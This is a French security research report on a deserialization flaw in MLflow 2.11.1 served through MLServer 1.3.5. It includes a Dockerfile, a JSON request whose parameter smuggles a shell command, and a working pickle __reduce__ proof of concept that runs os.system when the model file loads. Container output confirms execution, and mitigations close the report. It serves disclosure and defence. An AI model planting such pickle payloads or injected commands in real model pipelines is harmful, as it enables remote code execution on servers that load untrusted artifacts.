Environnement de recherche et scripts de validation pour l'évaluation des comportements de désérialisation dans MLflow et MLServer.
Rapport de recherche en sécurité complet détaillant la vérification, les mécanismes sous-jacents et les vulnérabilités architecturales associées aux pipelines de chargement de modèles non fiables dans mlflow==2.11.1 et mlserver==1.3.5.
| Métrique | Détails |
|---|
| Identifiant de vulnérabilité | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| Faiblesse courante | CWE-78 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande OS (« Injection de commande OS ») |
| Score CVSS v3.1 | 9.6 CRITIQUE (CNA : huntr.dev) / 7.8 ÉLEVÉ (NVD) |
| Vecteur d'impact | Réseau adjacent, complexité faible, aucun privilège requis, aucune interaction utilisateur |
| Écosystème affecté | mlflow/mlflow (toutes les architectures historiques servant via enable_mlserver=True) |
MLflow intègre une fonctionnalité avec MLServer de Seldon pour assurer un service de modèles haute performance et de qualité professionnelle. Lors du démarrage d'un serveur de modèles via l'interface en ligne de commande ou l'API du serveur de suivi, les développeurs utilisent le paramètre de configuration suivant :
enable_mlserver = True
## 📋 Résumé exécutif
Cet environnement de laboratoire évalue le comportement au moment de l'exécution des frameworks de service de modèles d'apprentissage automatique lors de l'analyse des paramètres d'entrée fournis par l'utilisateur et des métadonnées des artefacts. Bien que les limites d'analyse des paramètres orientés API de MLServer isolent proprement les littéraux de chaîne bruts (empêchant l'injection traditionnelle de commandes du système d'exploitation via des métacaractères de shell), l'environnement d'exécution Python sous-jacent reste structurellement vulnérable à la **désérialisation non sécurisée** lors de l'ingestion de flux d'objets sérialisés hérités (`.pkl` / `pickle`).
* **Type de vulnérabilité :** Désérialisation non sécurisée (CWE-502) / Exécution de code arbitraire
* **Impact :** Critique (Exécution de code à distance dans le contexte du conteneur)
* **Composants affectés :** Ingestion de modèles, sous-systèmes de téléchargement d'artefacts et backends de prédiction basés sur `pickle`.
---
## 🛠️ Architecture du laboratoire et configuration
L'environnement de reproduction est conteneurisé à l'aide de Docker pour isoler la couche du système d'exploitation et simuler un point de terminaison de modèle d'apprentissage automatique de qualité production.
### 1. Configuration de l'environnement Docker (`Dockerfile`)
```dockerfile
FROM python:3.10-slim
WORKDIR /app
# Installation des binaires système natifs
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Épinglage de versions spécifiques des frameworks pour le suivi des cibles
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Génération de l'empreinte de configuration du modèle localisé
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
Les tests initiaux ont tenté de passer des séquences de charges utiles de terminaison de shell (; touch /tmp/poc_success_marker.txt #) via le tableau de paramètres params du point de terminaison REST /invocations :
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
Résultat : Négatif. Le framework a traité la charge utile comme un littéral de chaîne absolu et non évalué. Cela confirme que le moteur abstrait les variables d'entrée directement dans les espaces mémoire Python plutôt que de synthétiser dynamiquement des arguments de shell système via un wrapper de commande brut.
Étant donné que MLflow et MLServer ingèrent des objets Python compilés, le risque central passe de l'évaluation de chaîne à la reconstruction de graphe d'objets. À l'aide d'un script de validation personnalisé, un déclencheur d'exécution a été intégré directement dans un flux de modèle simulé en utilisant la méthode d'optimisation magique native de Python (__reduce__).
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# La méthode __reduce__ définit les comportements de reconstruction d'objets.
# Renvoyer os.system force l'exécution immédiate de la commande lors du chargement.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Sérialisation de la charge utile d'exécution de code dans un fichier de pseudo-modèle
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulation d'une application ou d'un serveur de modèles dépicklisant l'artefact
with open(payload_path, "rb") as f:
pickle.load(f)
Le script a été injecté dans l'environnement sandbox du conteneur pour imiter la séquence de chargement du backend :
# Mise en place de la charge utile d'exécution dans le sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Exécution de la routine de désérialisation
docker exec -it mlflow_sandbox python /app/trigger_native.py
L'interrogation du répertoire temporaire isolé du conteneur a confirmé que l'exécution de code arbitraire s'est produite instantanément pendant la boucle d'allocation d'objets :
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
Le problème provient d'une confiance implicite dans la couche de stockage des artefacts de modèle. Les fichiers .pkl / pickle Python standard ne font pas simplement office d'enregistrements de configuration plats ; ils contiennent des instructions de bytecode séquentielles destinées à reconstruire les propriétés d'objets imbriqués.
Lorsque pickle.load() analyse l'ensemble de données, il priorise le flux d'instructions donné par l'accroche __reduce__. Cela redirige l'application cible pour appeler des binaires système natifs (os.system) directement dans l'environnement shell avant même que la validation du type de données ou les calculs d'inférence d'apprentissage automatique ne soient jamais initialisés.
Déprécier l'utilisation des couches de sérialisation héritées (pickle, joblib, marshal) dans tous les pipelines d'entraînement et de déploiement. Les remplacer par des contraintes structurelles et limitées aux données :
Si votre pipeline nécessite strictement des configurations de modèle héritées :
USER 10001).cap_drop: [ALL]) et isoler le pod des réseaux contenant des points de terminaison de métadonnées sensibles.